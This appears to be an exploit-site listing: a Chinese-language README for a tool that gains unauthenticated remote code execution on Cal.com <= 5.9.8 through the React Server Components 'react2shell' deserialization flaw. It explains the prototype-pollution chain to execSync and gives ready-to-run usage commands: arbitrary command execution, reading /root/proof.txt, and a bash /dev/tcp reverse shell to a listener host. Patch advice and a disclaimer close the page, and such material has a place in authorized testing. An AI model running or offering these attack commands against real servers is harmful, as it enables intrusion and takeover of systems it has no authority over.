Sploitus

CVE-2025-71389_exploit

kitploit · 2026-08-25

Exploit Code

MARKDOWN45 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0XDAK-CVE-2025-71389_EXPLOIT
# CVE-2025-71389 — Cal.com 未认证远程代码执行 (react2shell)

在 Cal.com `<= 5.9.8` 中, 可通过 **React Server Components "Flight" 反序列化** 漏洞实现未认证远程代码执行 — "**react2shell** "(React 中的 **CVE-2025-55182** ,Next.js 中的 **CVE-2025-66478** )。

Cal.com 捆绑了易受攻击的 Next.js 15.x。单个未认证的 `POST /` 请求携带 `Next-Action` 头和一个特制的 multipart Flight 载荷,沿着原型污染 链(`__proto__:then` \+ `constructor:constructor`)进入服务端 `eval`,最终到达 `child_process.execSync`。命令输出会内联返回在 RSC 错误的 `digest` 字段中。无需认证、无需用户交互 — 单个请求即可实现 RCE。

  * **受影响版本:** Cal.com `<= 5.9.8`(使用 RSC 的 Next.js 15.x / 16.x App Router)
  * **修复版本:** Cal.com `5.9.9`(升级了捆绑的 Next.js)
  * **默认端口:** `3000`
  * **CWE:** 502 / 94
  * **底层漏洞:** CVE-2025-55182 (React), CVE-2025-66478 (Next.js)



## 依赖

root@kitploit:~
    
    
    pip install requests
    

## 用法

root@kitploit:~
    
    
    # one-off command (output comes back in the response)
    python3 exploit.py http://10.10.10.10:3000/ -c 'id'
    python3 exploit.py http://10.10.10.10:3000/ -c 'cat /root/proof.txt'
    
    # interactive reverse shell (start `nc -lvnp 4444` first)
    python3 exploit.py http://10.10.10.10:3000/ --shell 10.10.14.5:4444
    

单次命令通过 RSC 错误 `digest` 内联返回其输出。`--shell` 模式会触发一个由 `setsid` 分离的 `bash` `/dev/tcp` 反向 shell(目标容器为 Debian, 自带 `bash`)。

## 修复建议

将 Cal.com 升级到 `>= 5.9.9`(任意已修复的 Next.js 版本:15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7)。不要将 RSC 服务器函数处理器暴露给不受信任的 客户端,也不要让应用容器以 root 身份运行。

## 免责声明

仅用于授权的安全测试和教育目的。只能针对你拥有 或获得明确测试许可的系统使用。